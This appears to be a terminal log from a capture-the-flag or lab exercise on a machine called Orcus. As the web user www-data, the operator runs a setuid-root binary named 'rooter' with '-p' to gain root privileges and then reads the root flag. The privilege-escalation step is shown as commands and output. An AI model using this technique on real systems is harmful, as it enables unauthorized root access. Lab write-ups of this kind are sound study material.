orcus:rooting

www-data@Orcus:/$ ls -al
total 1124

drwxrwxrwt 10 root root    4096 Mar 27 08:45 .
drwxr-xr-x 24 root root    4096 Oct 30 23:05 ..
drwxrwxrwt  2 root root    4096 Mar 27 08:36 .ICE-unix
drwxrwxrwt  2 root root    4096 Mar 27 08:36 .Test-unix
drwxrwxrwt  2 root root    4096 Mar 27 08:36 .X11-unix
drwxrwxrwt  2 root root    4096 Mar 27 08:36 .XIM-unix
drwxrwxrwt  2 root root    4096 Mar 27 08:36 .font-unix
-rwsrwxrwx  1 root root 1109564 Mar 27 08:50 rooter
drwx------  3 root root    4096 Mar 27 08:36 systemd-private-9349aed2336c4fd5ad8749398e923f3c-dovecot.service-YyhShT
drwx------  3 root root    4096 Mar 27 08:36 systemd-private-9349aed2336c4fd5ad8749398e923f3c-systemd-timesyncd.service-ENaVWk
drwx------  2 root root    4096 Mar 27 08:36 vmware-root


www-data@Orcus:/$ ./rooter -p
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
cd /root
ls 
flag.txt
cat flag.txt
807307b49314f822985d0410de7d8bfe